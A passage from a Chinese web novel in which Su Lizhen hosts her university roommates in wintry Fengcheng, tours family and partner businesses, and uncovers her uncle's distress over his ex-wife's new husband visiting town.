擦肩而过的时候,苏丽珍一眼看到铁皮车最顶上放置的几包“珍珍”熟食,有卤制和熏制的鸡、鸭,香肠,鸡蛋,猪耳朵和猪头肉,别说,种类还挺全! 苏丽珍把人拦住,先随意拿了点室友们爱吃的小零食,然后又捡了包卤蛋,借着闲聊,跟对方打听自家产品的销售情况。 没想到这售货员还挺健谈,一听她问“珍珍食品”,当即像打开了话匣子似的,一句接一句道:“哎呀,姑娘,你这可问对人了,我告诉你啊,这‘珍珍’家的东西那有一个、算一个,那都老好吃了!” “你信我的话,不管是哪个,你就闭眼睛买,不管是啥玩意儿,只要是她家生产的,就没有不好吃的,保准你香迷糊了!” “这可是我们凤城的名牌特产,就两个月前,还上过首都的报纸呢,老出名了!姑娘,你到哪站下?要是家不是辽省的,我建议你多买几样,回去走亲戚啥的,可拿得出手了!人首都人都可稀罕咱这牌子了,听说当初好多人为了买这‘珍珍’家的东西,那队伍都排到天安门了,有没排上的还差点打起来,公安都出动了!” 苏丽珍:“……” 她有些一言难尽,天安门、公安什么的,也不知道这算不算虚假宣传。 她几次张嘴,想跟对方说没那么夸张,但是这售货员太能说了,最后她直接投降,默默地又拿了两包香肠和一包猪耳朵,并成功收获对方“这孩子有眼光”的满意神色。 等给苏丽珍找完了钱,这售货员还一边从底下的纸箱里往上层补货,一边道:“你听阿姨的准没错,看阿姨这箱子没?这一下午工夫,都卖出三箱了,就说好货可不愁卖!” 等苏丽珍抱着买下的一堆东西回到卧铺包间时,小伙伴们也在研究美食呢! 她们研究的美食挺特别,居然是干嚼方便面。 起因是刚刚隔壁包厢的人泡方便面,那股浓郁的香味钻进她们包间,吕新芳不由感叹起当初大一去学校报道的时候,身上只带了一摞杂面饼子,那时候对面的人正好吃泡面,她闻着那个味道感觉特别香。 当时还想,一包轻飘飘的方便面,火车上就要卖五、六毛钱,也不知道她要多久才能吃得起一顿泡面。 吕新芳不过是一时感叹,结果包括管明月在内的几个人顿时心疼得不得了,几个人嗷嗷叫着,不由分说把推着铁皮车的售货员拦住,一口气直接给人家小车上的方便面包圆了! 只不过花钱一时爽,过后才想起来她们家小六去餐车订餐的事。 好家伙,那她们买下的这二十来包方便面可咋整! 后来还是刘思彤和万美君两个小吃货随手拆开一包方便面,闻着那淡淡的面香,两人忍不住上嘴直接啃了一口,哎呦,没想到,还挺香! 因为方便面泡起来那股香味特别好闻,所以她们之前一直都是泡着吃,还从来没试过干吃,结果今天冷不丁一试,没想到这味道还真不错,而且越嚼越香,比饼干还好吃! 嚼了几口,两个人又试着把调料包撕开,往面饼上撒了点,然后这一口下去,顿时打开了新世界的大门。 总之,等苏丽珍回来的时候,五个人正排排坐,抱着方便面啃得喷香! 苏丽珍:“……” 坐个火车差点把她的好室友们变成小学生。 眼瞅着几人吃完一包,又拆第二包,她赶忙劝道:“别吃那么多,这面饼是油炸的,虽然好吃,但是容易上火。” 也不知道是不是就这么凑巧,她前一晚才说的话,结果第二天早上万美君和刘思彤起来后,一个牙龈红肿,一个嘴角起了小燎泡,一吃东西就嘶嘶哈哈。 管明月在旁边嘿嘿直乐:“让你们俩昨晚偷吃,嘎吱嘎吱像小耗子似的,这回难受了吧!” 万美君白她一眼:“说得好像你没偷吃似的!” 管明月直接翘起了二郎腿:“我偷吃,我也没上火啊!” “你们俩啊,就是身体素质太差,以后乖乖听我的,每天早上起床先跑两圈,一天最少跑个三十分钟,保管你百病不生!” 两个人都撅了嘴,显然也知道管明月说得对。 吕新芳不由道:“也怪我,好端端的没事瞎念叨那些老黄历,要是不买这么多方便面就没事了。” 陈红梅便说道:“芳姐,这可不是你的错,要怪只怪这两个馋丫头管不住自己。” 昨天苏丽珍一说上火,陈红梅后来就没吃了,作为比较扛得住诱惑的人,她明显更有发言权,刘思彤和万美君只得乖乖听训。 陈红梅说完,又皱眉看向桌子上剩得那十来包方便面,果断上前都收进了自己包里。 “为防止你俩嘴馋,这些我先收起来,今天上午你俩就尽量多喝水吧。” “……对了,我这还有两个苹果,我去洗洗你们吃,多补充维生素。” 眼睁睁看着好吃的方便面都被收走了,刘思彤和万美君一声也不敢吭,只暗地里互相挤眼睛、噤鼻子的作怪,陈红梅背对着两人看不着,倒是把苏丽珍几个逗得差点笑出声。 陈红梅一开始还没察觉,只看着憋笑的几人一脑子雾水,等反应过来一t回头,正好把两人抓了个现形。 “好哇,你们两个,还敢背着我作怪!看我怎么收拾你们!” 说着,苹果也不要了,扑过去抓住两人就是一顿挠痒。 本来她一对二有点费劲,结果管明月在旁边暗戳戳帮忙,这下好了,局势几乎一面倒,两个人瞬间“一败涂地”,只能乖乖“投降”! 嘻嘻哈哈、连玩带闹,时间过得飞快,很快到了中午,火车到达凤城站了。 一下车,扑面而来的寒风就吹得人直打激灵。 第一次来东北的几人耐不住好奇,试探着拉下围脖,结果一张嘴就是一口白雾,同时冷风觑着空迅速钻进嘴里,直刺喉咙口,立刻掀起一阵粗剌剌的疼。 几人连忙把围脖火速拉了上去。 只有管明月坚持着吐出两个字正腔圆的字:“刺激!” 苏丽珍赶紧帮她把围脖拉好。 凤城的西北风跟刀子似的,她们又是第一次来,很容易皴了脸。 六个人才走上月台没几步,苏丽珍就看见了来接人的苏卫华和苏振东,连丁大勇也过来了。 上个月,苏家又赶上一桩喜事。 孟知祥那两座大宅子所在的街区要开发商业圈,原来的地方要拆迁重建商业大厦。 孟知祥的两座大宅子,一座换成了一套面积不小的门市楼,一座换成了两大一小三套商品住宅楼。 协议签下后,孟知祥、苏厚德,连带苏振东和芽芽,一家四口就又搬回了火锅店,从之前的偶尔来小住变成常住。 只是一直租着孟知详大宅子办公用的“筑梦”公司稍微麻烦了点,这次还要搬一次家。 本来丁大勇想着也像“珍珍食品”那样直接在郊区占一块地,自己盖公司,但是孟知详没同意。 他告诉苏丽珍,他这次回迁要的那套门市楼就是给苏丽珍准备的。 考虑到新开发的商业楼地段确实好,各方面也更适合建筑公司,于是苏丽珍跟丁大勇商量了一下,决定按照孟姑爷爷的意思留下这套门市楼。 到时候以公司的名义,每年按照市价给老人家交租金。 买是不可能买的,这都不用有什么预见能力,只要有眼睛会看的都能想到,以这房子的黄金位置今后就是下金蛋的母鸡,现在买下才是占老人的便宜。 第220章 敲定这事后,丁大勇就把公司暂时搬到了“珍珍食品”公司这边。 反正那边办公楼位置多的是,容纳一个“筑梦”绰绰有余。 现在是年底,“筑梦”公司这边没什么活,主要还是执行之前苏丽珍制定的为老客户上门维护的工作。 加上丁大勇年前争取到了来年好几个工程,其中就有刚刚提到的那片商业开发区的部分项目。未来一年的活计排的满满当当,他眼下就不急着开拓新客源,日子比较清闲,索性见天在厂子里给苏振东跑腿帮忙。 所以前一天一听说苏丽珍今天带着室友们回来,便自告奋勇跟苏振东一起出来接人了。 双方一汇合,大家热热闹闹打过招呼,三位男同志不由分说帮忙接过行李。 等出了车站,苏振东和丁大勇各开了一辆车,目的地第一站自然是先回火锅店。 姐妹们虽然早就知道苏丽珍家里开着一间火锅店,可是等真的看到这栋漂亮的砖红色小洋楼时,几人还是忍不住“哇”了一声。 几人里,陈红梅家也是地道的老洋房,但是两者在建筑风格上还是有很大的不同。相比海市那边洋房的精致奇巧,苏家的这栋估计在修建时兼顾了当地的气候特征,所以带了明显的东北风格,更加豪迈大气。 屋里一听着汽车动静,李翠英和苏小麦就率先迎了出来。 “哎呀,来了、来了,可把你们盼来了!” “阿姨好,小麦妹妹好!” 李翠英乐得合不拢嘴:“都好、都好,孩子们赶快进屋,咱这儿太冷了,可别把你们冻坏了。” 等进了屋,一股热气裹夹着浓郁的底料浓香扑面而来,几个女孩下意识吸了吸鼻子,都没忍住说了一句“好香”! 过来的苏厚德一听这话,不由乐呵呵道:“香吧?那待会儿就多吃点,咱马上开饭!” 饭店整日不断火,又是自己改造的取暖系统,屋子里温度很高,苏丽珍回家第一件事就是先带大家上楼,简单洗漱一下,然后换上薄一点的衣服,防止一冷一热感冒生病。 等大家换好衣服再下楼,单间里的大席也准备好了。 桌上有热腾腾、香味霸道的鸳鸯火锅,有苏爷爷亲自下厨做的几道拿手好菜,还有李翠英怕几个孩子刚下火车肠胃调整不过来,特地擀的细细的肉丝面,也正应了东北“上车饺子,下车面”的说法。 一大桌子色香味俱全的饭菜一下子征服了几个外地女孩的胃,当热乎乎的美食进肚的一刻,她们胆气顿生,简直想一口气冲出去,在大东北的冰天雪地间叉腰喊上一嗓子,抒发一下这无处安放的豪情! 只美中不足的是,刘思彤和万美君两个人口腔溃疡,美食虽好,可是吃起来却有点疼,还有那辣辣的火锅,两人更是无福消受。 两人不禁暗恨昨天的自己不够明智,为了两包方便面,错失了今天大啖美味的机会,实在可恶! 关键时刻,还是苏厚德救场。 老爷子吃到一半,起身去厨房端来一壶黑乎乎的茶水,对两人道:“珍珍都跟我说了,你们南方人不习惯咱们东北这天气,来了容易上火。爷爷我特地给你们熬了凉茶,这是我独家的方子,效果特别好,你们喝了,保准明天早上起来就清清爽爽没火气了!” 说完,还不忘招呼另外几人:“来、来,你们也喝一点,坐火车也爱上火,喝点这个错不了。我这方子不苦,味道还可以的。” 几个女孩尝了一口,果然滋味甜甜的,而且还会冒凉风,真的挺好喝。 好喝还能当药使,这下刘思彤和万美君可高兴了,蠢蠢欲动的筷子终于禁不住诱惑,开始往麻辣锅里试探,结果一口下去龇牙咧嘴,赶紧端起凉茶灌一口。 别说,还真管用,含一口凉茶,嘴巴很快就不疼了。 于是,这一顿饭,两人就在不停嘶嘶哈哈和猛灌凉茶之间反复循环,把几个长辈逗得不行。 美美享用了一顿大餐,几个女孩子就被赶上了楼休息,长辈们说啥也不准她们伸手帮忙。 因为坐的卧铺车,大家这会儿一点也不困,几人干脆拉着苏小麦聊天。 之前苏小麦也去过首都,跟大家一起吃过饭,所以双方彼此都不陌生。 更因为爱屋及乌,几位室友们都很喜欢苏丽珍这位漂亮开朗的姐姐。 见几人一点要休息的意思也没有,苏丽珍索性下楼去拿苏厚德一早给她准备的冻梨和冻柿子。 这可是东北冬天的限定美味,尤其在干燥热乎的屋子里吃上一口,又凉又甜,绵软多汁,那滋味别提多美了。 冻好的梨子和柿子硬实得堪比铁球,必须提前放到凉水里自然解冻。 苏爷爷说他算计好了苏丽珍她们到的时间,早在苏卫华他们去车站接人的时候,就把冻梨和柿子放水盆里了,算算时间,刚好现在能吃。 苏丽珍下楼去拿冻梨盆,结果一扭头,忽然发现苏振东坐在柜台后面皱着眉头出神。 她觉得有些奇怪,忍不住上前喊了一声:“东叔,你怎么了?” 苏振东醒过神,一见是她,忙道:“哦,我没事!那什么,你爸上午听一个老主顾说今天下午自由市场会新到一批新鲜海产,你爸就说想去看看。正好我没走,就在这帮他看一会儿。” 这边话音刚落,屋外忽然响起汽车的动静,苏丽珍一看,却是苏卫华和丁大勇回来了。 两人都没空着手,苏卫华一进门就高兴道:“这一趟可真没白去,我们爷儿俩可买着不少好货!” “看看这大个儿的黄蚬子、这大扇贝……还有这鲅鱼,瞧瞧多新鲜,以往咱总吃那冻的,这回咱也吃一回新鲜的!” 说着,他想起什么,看向苏丽珍,“张家屯那边,大伙儿听你张舅妈说你今天回来,清早就让你张表舅拉来一车新鲜蔬菜过来,都是大伙儿半夜三点多摸黑从大棚里现摘的!” “这天气,新鲜蔬菜比肉还贵,大棚虽然挣钱,但是起早贪黑也累。我想着咱自己也吃不了那么多,干脆就一样留一点,是那个意思,剩下的都给他们按咱火锅店的正常采买入账了。今天刚好有新割的韭菜,咱晚上就t包鲅鱼韭菜馅的饺子吃!” 苏丽珍听得心里热乎乎的,连忙点头:“爸,都听你的!” 苏卫华乐呵呵地跟自家闺女交代完,又眉开眼笑地拎着一大堆鱼获去找李翠英:“翠英啊,你快来看,看我给咱闺女买的好东西!” 苏丽珍也跟着笑了一会儿,转头才想起来对丁大勇道:“大勇哥,你别忘了晚上让大娘带着岁岁一起过来!” 丁大勇在前台给自己倒了一杯茶水,一口气灌进肚子,听了这话笑道:“放心吧,师父师娘早叮嘱我好几遍了!” 见苏卫华回来了,苏振东就起身穿上棉袄,准备回公司。 “珍珍、大勇,我再去厂子那边看看。” 苏丽珍看了眼手表,这都快下午三点了,冬天天黑的早,过会儿就要下班了,她忙劝道:“东叔,都这个时候了,还是别来回折腾了。咱们打个电话,要是没啥事就别过去了,让江哥他们盯一会儿好了。” 现在食品公司外有销售部负责人冷刚和已经能独当一面的王树,对内则有几个车间负责人江宏达和齐志飞,不再像头两年那样里里外外都靠苏振东一个人,常常分身乏术。 苏振东知道侄女心疼自己,不过还是坚持道:“没事,我都习惯了,每天不从那边和大家一起下班离开公司,我还挺不习惯的。” 苏丽珍听他这么说,就不再劝。 正好丁大勇想把车子送回去,等下班一起坐苏振东的车回来。 两个人一走,苏丽珍便盯着苏振东的背影发呆。 她总觉得振东叔有点不对劲。 心里琢磨着这事,手上也没停,把一盆已经化透了的冻梨和冻柿子端到楼上,都不用她招呼,大伙儿就嗷嗷叫着冲了过来。 你一个冻梨,我一个柿子,清甜、沁凉的梨汁,甘甜、肥美的柿子肉,吃得大家大呼痛快! 苏丽珍陪着大伙儿吃了一个冻梨,见她们吃完了一轮又开始了新的话题,这会儿正说到陈红梅老家海市那边的事,她便悄悄再次下了楼。 她越想、越觉得苏振东情况不对。 每次自己回来,振东叔都特别高兴,里里外外张罗不停,每每总被苏爷爷嫌弃他碍事,而且但凡有空总要拉着她说话。 可这次,振东叔虽然也拉着她说话,但她总觉得他好像存了心事,情绪并不高。 正好她下楼时,苏卫华就坐在柜台后面盘账,她走过去直接就问道:“爸,我振东叔是不是遇上什么事了?” 苏卫华愣了下,看着闺女下意识就说了句:“咋,你看出来了?” 苏丽珍一听这还真是有事,忙催她爸快说。 苏卫华想了想,起身在后头的展柜底下翻出一份报纸递给了她,并指着上面一篇报道,对她道:“你先看看这个。” 苏丽珍一头雾水,不过还是听话地接过报纸看了起来。 只见那篇报道上,标题赫然写着《心系祖国,爱国华侨首次凤城行》。 她接着往下看: “近日,荣明纺织服饰有限公司总裁,归国华侨李明翰先生,携香江经济考察团来我凤城进行参观考察……” 李明翰,这名字…… 忽然,她想起什么,立即看向苏卫华确认道:“爸,这人是不是就是当初振东叔那个……”《 》 220-230 第221章 苏卫华肃着脸点了点头 苏丽珍忍不住蹙起了眉,目光重新落在手中的报纸上。 这篇报道篇幅不长,主要介绍了李明翰和他的荣明纺织服饰有限公司的情况,重点提到了前者归国前后的光鲜履历,然后强调这次由他带队的香江经济考察团如何有来头。 重生后已经习惯跟媒体打交道的苏丽珍一眼就认出,这是一篇宣传造势的软文。 看来这个李明翰是有在凤城投资的打算了。 她扫了眼这份报纸的日期,发现是三天前,那估计这会儿人已经在凤城好几天了。 也不知道这个李明翰是不是自己一个人来的。 她忙看向苏卫华:“爸,芽芽的妈妈有没有一起来?” 苏卫华摇头:“应该没有,要不然不可能这么长时间一点动静都没有。” 就算当初说好,双方今后不再联系,但是苏振东对前妻杜晓兰一直有感情,再加上顾念芽芽,如果杜晓兰要求,他不会阻拦母女俩相见。 至今没动静,要么是杜晓兰没来,要么就是杜晓兰确实心狠绝情。 苏丽珍倒觉得后者可能性不大。这几年每年芽芽的生日,总会收到一份礼物,有时候寄出地是米国、有时候是香江,说明杜晓兰心里还惦记着这个女儿。 不过眼下她倒是希望这个杜晓兰是真的没来。 就算她心里还惦记着芽芽,可甘蔗没有两头甜,她当初既然做了放弃丈夫女儿的决定,现在再做什么也无济于事。 碍着中间这层血缘关系强行联系,只会让所有人苦闷。就算是芽芽这个孩子,现在提到妈妈虽然不再像前几年那么抵触,可整个人也淡淡的,明显不愿意多提。 所以她真的不希望有人来破坏苏爷爷一家现在平静的生活。 苏丽珍便道:“她没来挺好,省得到时芽芽和我苏爷爷难受。我东叔这边,可能是冷不丁想起那些旧事,一时心情不好,估计过段日子就好了。” “对了,爸,我苏爷爷知道这人来凤城吗?” 苏卫华忙道:“没敢告诉他!咱家现在订的这些报纸主要是提供给客人们看,平时你不在家,也就你孟姑爷爷偶尔看看,这消息就是他老人家最先看到的。” “你孟姑爷爷那年不是跟小瑞他们去特区帮着指导过技术吗?老爷子在那边待了小半年,刚好见过这个李明翰,所以一看报纸就对上了。” “他也不敢跟你苏爷爷说,怕你苏爷爷想起这人不痛快。起先我们俩连振东那儿都不想说,可赶巧不知道他从哪里就知道了这事。” 苏卫华叹气:“虽然他嘴上不说,但我和你孟姑爷爷都看得出,他这两天情绪一直不太好。” 苏丽珍皱眉道:“振东叔这边,我不好开口,只能是爸你有空,尽量多劝劝。还有我苏爷爷那里,也不用特意提,早就井水不犯河水了,没必要为这么个人占着心思。” 苏卫华也是这个意思,不过他还是担心:“珍珍,你说这个姓李的会不会找你东叔麻烦?” 他可是记着小瑞提过,这姓李的早年在国外学坏了,现在可不是啥好人。 当初也是因为沈家才低的头,难保他不是表面装相,心里却记恨着振东兄弟。 苏丽珍摇头:“不会,他既然有在这边投资的打算,那一定会注意保持形象,这个时候轻易不会节外生枝。” 看她爸还是不放心,她又安抚道:“而且爸,我东叔现在也不是以前的东叔了,他现在有咱们家人给他撑腰。管他姓李的有什么想法,他不主动招惹咱们也就算了,要是他敢来,咱们这回肯定让他狠狠付出代价!” 别的地方不提,至少眼下在这凤城,她还是有底气说这个话的。 闺女难得这么霸气,给苏卫华都逗乐了,他哈哈笑着道:“好,爸不担心了,爸和你东叔就等着我闺女给撑腰了!” 父女俩专注说话,谁也没注意棉门帘子后头的内层门开了又关。 苏厚德拉着孟知祥一口气悄悄退出去十几米远,才重新站定。 老爷子停下后,怔怔看着饭店的大门发呆。 孟知祥叹了口气:“孩子们也是一片好心,你就当不知道吧。本来也没多大的事,那过去的就是过去了,不管他谁来了都一样,何必自寻烦恼。” 苏厚德半天没吭声,好一会儿忽然猛拍大腿,昂着脖子、一脸骄傲道:“看来我老苏真是有福气的,看看我这儿子、孙女,怎么就这么贴心呢!” 这一刻,老爷子选择性地遗忘了自己那亲生的糟心儿子。 孟知祥不由朝他翻了个白眼。 不过他心里也承认,卫华两口子确实待他们十分孝顺,珍珍和小麦也是贴心的不得了。他如今日子过得这么自在,也是借了妻弟的光。 “你说的是,你能多想这些挺好。不过我还是要多劝你一句,振东的事已经过去了,这凤城也不是咱家的地儿,人家当然也能来。不过他来他的,咱就当他不存在,无视最好。” 苏厚德有些不乐意:“姐夫,你也太小看我了,这是孩子们不想让我知道,所以我才配合配合。要不你真当我是振东那个完蛋玩意儿?” “天天跟个棒槌似的,过去那点事翻来覆去放不下,他们t也配!” “别说那小子来凤城,就算今天我老头子跟他走个对头碰,我都不稀得搭理他!” 孟知祥无语,这东北话可叫你学明白了。 再三确定这人真没当回事,孟知祥也不再多劝。 还是赶紧回家吧,这都比往常他俩出去遛弯的时间晚了一刻钟了。往常这个点儿,翠英都把他们两个老头子的牛奶热好了,再不回去就凉了。 两个演技精湛的老爷子回到家,表现一切如常,丝毫没引起孩子们怀疑。 尤其苏厚德还跟孩子们一起嘻嘻哈哈,打成一片,惹得几个女孩“爷爷长”“爷爷短”,一张老脸都笑成了花。 只不过只有孟知祥知道,晚上一起吃饭的时候,苏厚德时不时就拿眼睛偷剜苏振东。 可惜后者因着一份心事,面上还要装作若无其事,压根没发现老爹那带着火气的眼神。 苏厚德更生气了! 当天晚上就在他儿子支在他们屋里的单人床枕头下,放了一把锤子。 就这样,晚上苏振东躺下愣是没察觉到不对劲。 苏厚德:“……” 孟知祥:“……” 也是没谁了。 翌日早晨八点,苏丽珍和好友们吃完早餐,正准备带她们出去转转。 老熟人刘五爷就登门了。 “哎呦,大侄女啊,我一听振东兄弟说你昨天回来,我这今儿早早就过来了!” 苏丽珍笑眯眯道:“五伯,我是小辈,本来应该是我先去看您的,这倒是让您反过来先看我了,怪不好意思的。” 刘五爷大手一挥:“大侄女,你看看你,外道了不是?我刘老五最佩服有本事的人,大侄女你帮了我那么多回了,那是我们刘家的头号贵人,就凭这个,我老刘家上下就都感激你,所以咱不论那些虚礼!” “那句话怎么说来着,对,一切随心!” 刚好苏卫华端了茶水过来,接过话道:“随心好,随心实在,咱都是实在人。” “对,我卫华兄弟说得好!”刘五爷跟着哈哈笑了起来。 因为刘五爷去过首都展销会,所以对苏丽珍几位室友也都认识。 双方打过招呼后,苏丽珍灵机一动,顺势向刘五爷提出想带朋友们去他的公司参观一下。 刘五爷当即一口答应了下来。 他是个急性子,这下也坐不住了,急吼吼就要带着大伙儿过去。 一行人分成两拨儿,分别坐上了刘五爷和丁大勇的车。 等到了地方,刘五爷又亲自带着她们把各部门都转了一遍。 “大侄女,还有几位同学,我这儿你们随便看,想看啥看啥!最好能给我老刘多提点意见,你们这样的高材生能来我这儿,我这儿房子四面都冒金光啦!” 听着动静赶过来的刘家大儿子刘光荣刚到,就听见他老爹在人一众大学生面前冒白话,忍不住小声纠正道:“爸,那叫蓬荜生辉!” 刘五爷一拍脑门:“对、对,生辉、生辉,我是个大老粗,同学们别嫌弃!” “要我说,还是生光好,生辉(灰),它不埋汰吗?你们这些大学生就是金娃娃,那明显得生光嘛,还是金光呢!” 几个女孩子强忍着不笑,努力把注意力集中在刘家的公司。 经过这几年发展,刘家产业的规模着实不小,它整体分成两部分,一部分专做农副产品和日用品的批发、零售,另一部分是物流货运公司。 两家公司共用一栋占地上千平的五层楼房,一至三层是批发公司,四到五层供给物流公司办公使用。 大楼外四周是开阔的足以供几辆汽车并行的车场和一排排库房。 刘家现在无论是批发生意、还是物流业务都发展的很好,基本覆盖了整个东北地区,往南到首都和津市的路段今年也成功打通,且实现了盈利。 只苏丽珍等人从办公楼走到库房的工夫,车场上就来来回回跑了十几辆大车,可见生意兴隆。 女孩们认真听着刘五爷父子俩的介绍,把各部门都参观了一遍,先是学习了批发公司和物流公司各自的运转流程,还学到了这两个行业里不少经营规律。 要知道,在国家市场经济推行初期,这些由内行人一步步过河趟出来的经验堪比真金白银,非常有价值,大家这次来是既长见识、也长知识,都收益不浅。 同时,从刘家父子这里学到的知识经验也促使大家进行更深刻的思考,由此萌发了很多灵感。管明月她们更是结合自己从学校里学到的知识,当场又反馈给刘五爷父子一些有关经营和财务管理方面的建议。 刘家父子听完如获至宝,刘五爷更是拍着大腿连连叫好,把几个女孩子一顿好夸,夸得管明月几个满脸通红,实在有些遭不住。 只有苏丽珍在旁边抿嘴直乐。 刚刚大家给刘家提建议的时候,她就静静站在旁边欣赏好友们展现自己的能力和才干。 其实她心里比刘五爷父子还骄傲呢! 这么聪明优秀的姑娘们,可都是她的好朋友呢! 时间很快到了中午,得到了宝贵建议的刘五爷心情极好,直接在办公楼里摆了一桌,非要请大家吃饭。 盛情难却,等众人一落座,一看这席面,好家伙,天上地下,生猛海鲜,那是应有尽有。 好些东西她们别说吃,见都是第一次见,这一顿可真是让大家涨了见识! 第222章 在刘五爷这儿吃完了饭,苏丽珍征求朋友们的意见,见她们都不想回去休息,便带人直接去了自己公司。 因为之前帮忙筹备展销会的缘故,几人对苏丽珍的大本营可谓神往已久,总想着要来这儿好好看一看。 所以一下车,大家就像戏精似的,一个接一个道:“苍天啊,我可终于找到组织了,今天管明月前来报到!” “万美君前来报到!” “刘思彤/陈红梅/吕新芳前来报到!” 苏丽珍:“……” 把几人领进公司,苏丽珍也像上午刘五爷那样,带着人把各部门走了一遍。 先是办公楼,然后换衣服到各车间生产线,这一圈下来,几人也学到不少东西。 在一些简单好操作的岗位,苏丽珍还邀请大家也上手试一试,几个女孩兴致勃勃地上前,从最初生疏,到一点点熟练,干得也是有滋有味。 等从车间出来,又回到办公楼,苏丽珍让她们也帮忙提一点意见。 没想到管明月一脸严肃地看着她道:“苏总,请你不要难为我们。‘珍珍’已经是一个成熟的‘珍珍’啦,她不需要我们再画蛇添足。” 然后其他人也跟着一溜点头符合:“苏总,请不要难为我们。” 苏丽珍:“……” 几个月没回来,苏丽珍也攒了不少需要亲自处理的工作。 在确定几个好友不需要她陪同后,她就让几人在公司里自由活动,她自己回到办公室处理近期各部门提交的报表和计划。 先把需要细看的挑出来,今晚带回家,剩下的直接在这边解决。 一口气忙了一个钟头,眼见离下班没多长时间,她起身拿起要回家处理的文件,准备去找好友们。 当路过苏振东办公室的时候,毫不意外地又看见他坐在位置上出神,也不知道在想什么。 可能屋子暗又没开灯的缘故,苏丽珍总觉得他脸上带着一股阴郁之气。 她不禁心里叹了口气,抬手敲了敲门。 苏振东回神,一见是苏丽珍,下意识露出笑容:“珍珍忙完了?我看你那些同学还在车间溜达,你去把大家叫上来吧。太阳落山,天气冷,你们也早点回去,想来就明天白天再过来。” 苏丽珍也笑着点头:“好,我这就叫她们去。东叔,不如您跟我们一起回去吧。” 她不等对方拒绝,继续道:“上次暑假我记得您给我和芽芽买了一种特别好吃的牛肉火勺,我现在还想吃,咱们回去顺道再买点吧!” 苏振东一听她想吃火勺,忙道:“哎呦,是西区水塔街的高记火勺吧!他家火勺卖的快,这个点不一定有了,咱得快着点。” 说完,就赶紧起身收拾东西。 当天,一行人一起回的家。 到了晚上,等好友们都睡下后,苏丽珍独自坐在客厅,就着小台灯处理手里的文件。 忙了一阵,再抬头时,余光瞥见茶几上那一小碟火勺,她不由分了神。 今晚吃饭时,她故意让大勇哥陪振东叔喝了点酒,吃完饭又叫她爸悄悄去找振东叔谈了谈。 大概是酒后吐真言,振东叔才说了实话。 原来在李明翰来凤城的的第二天,不知道怎么拿到了他的联系方t式,直接找到了他。 那天,李明翰告诉振东叔,他在去年和杜晓兰离婚了。 振东叔当时特别震惊,忍不住问了为什么。 李明翰也告诉他了。原因很简单,因为他和杜晓兰在分开的那十年时间里,彼此之间从生活习惯到人生观念都有了很大差异,所以两个人在一起后总是会因为一些琐事争吵,慢慢地,感情就淡了下来。 最后,双方选择和平分手,好聚好散。 这一句“好聚好散”叫振东叔直接气笑了。 所以当初这两个人,一个不惜抛夫弃女,一个手段用尽把他的尊严踩在脚底,结果这两个人要死要活地在一起,仅仅过了这么几年就又掰了? 那他那几年为了挽救那个家付出的一切,算什么? 他们两个人施加在他,以及他爸、他闺女身上的那些伤害,又算什么! 那一刻,振东叔心里几乎生出一股恨意,恨那个女人,恨面前这个道貌岸然的男人,更恨他自己! 他恨自己眼瞎,恨自己过去的那么多年就像一个笑话。 从那天起,振东叔觉得自己好像“病”了! 一方面,他告诉自己,他跟杜晓兰已经分开了,过去的一切都随着两个人关系的终结烟消云散,他不该再为过去这些破事伤神。 可另一方面,强烈的悔恨又让他心中不停生出怨气。 这两股情绪每天在他心底纠缠,让他失了这几年涵养出的冷静,叫他又反过来对失衡的自己感到失望,所以他才会这样难受。 不过今晚喝了点酒,把积压在心底的这些不痛快说出来后,振东叔的情绪也缓和了不少。 她爸也劝振东叔,凡事向前看,好日子都在前头,真没必要让这些个自私自利的人一再影响自己。已经白搭的那十年就算了,可不能再接着犯傻,继续惦记他们,毕竟谁能说怨恨本身不是一种记挂呢?可他们哪里配! 按照她爸的说法,振东叔应该是把他的话都听进去了,估计慢慢想开,就不会再钻这个牛角尖了。 本来到这里,苏丽珍听完也松了口气,谁知道末了,振东叔又告诉她爸另外一件事。 这个李明翰似乎对她的事特别感兴趣,话里话外一直跟振东叔打听她,甚至表现出一副诚意满满的样子,想约她见一面。 振东叔跟她爸说,那会儿他一听李明翰提起她,就觉得这家伙没安好心。 外国都开放,这姓李的今年不到四十,外表也算得上出众,现在又是单身,说不定没脸没皮要惦记珍珍。 真是痴心妄想! 振东叔心里越发厌恶这个人,当时就斩钉截铁地拒绝了姓李的,临走前还警告对方,叫他少往自家侄女跟前凑。 她爸知道这事后,顿时如临大敌,一度满脑子都是这姓李的使尽手段纠缠她的画面。 就是跟她提起这事时,还一再叫她当心,出入身边尽量留人,最好叫大勇哥天天接送她。 到最后,他似乎又觉得大勇哥太粗心,还试图自己上阵,甚至想去学开车,就为能每天接送她上下班。 苏丽珍当时哭笑不得,好容易安抚了受刺激的老父亲,如今独处时,再去想这事,怎么看都不对劲。 这个李明翰表面上是来找振东叔,可实际大概率还是冲着她来的。 当然,她也不认为这个人是单纯对她本人感兴趣。 这样一个在资本主义制度下熏陶多年的生意场老手,不可能满脑子都是风花雪月,这么费心思算计,肯定另有图谋。 想到这里,她目光微冷。 没关系,狐狸总会忍不住漏出尾巴,有什么幺蛾子,她等着就是。 苏丽珍从不知道凤城消息能传的这样快,她是前天下午回来的,结果一天半的时间,几乎大半个凤城的食品业同行就都知道了。 昨天一早是刘五爷,今天清早,又有另外两家参加过展销会的食品企业人员登门拜访。 之后是第四家、第五家,这大半天的时间,陆陆续续来了七家企业。 苏丽珍和好友们哪里都没去成,光在家接待这些企业人员了。 大家过来,一方面是出于交好心理,感谢她上次的活动邀请,帮他们拿到了不少订单,同时也有试探苏丽珍有没有趁着过年再开一次展销会的打算。 苏丽珍也不吊人胃口,直接告诉他们答案。 截止到明年十月,这一年内,她不准备再举办展销会这类的活动了。 还是那句话,这小半年她的“珍珍食品”宣传力度足够了,眼下更适合先沉淀一段时间。 当然,她不打算牵头办展会,不代表别人也不能。未免大家心里有想法却抹不开,她主动建议大家,如果有单位有这方面的想法,完全可以趁着春节期间在凤城本地组织一次展销会试试水。 到时候,他们“珍珍”愿意以参展企业的身份加盟,为大家助阵。 几家前来打听消息的企业人员听完都眼睛一亮,显然是动了心思。 等把这些人送走后,陈红梅便忍不住问她:“谁牵头,谁就是领头羊的角色了,你真不打算管?要是他们这次办好了,那下次你再牵头做什么,他们未必肯服你了。” 苏丽珍回她:“我办展销会从始至终是为了我自己,这个领头羊的身份,我能拿到是好事,拿不到也没关系,毕竟每一个身份都有他对应的责任和义务,我其实不太爱拦事的。” “而且他们服不服我不重要,重要的是,我能让他们看见切实可行的好处。反过来也一样,我不需要他们唯我马首是瞻,生意场上,纯粹的利益关系其实更牢靠。” 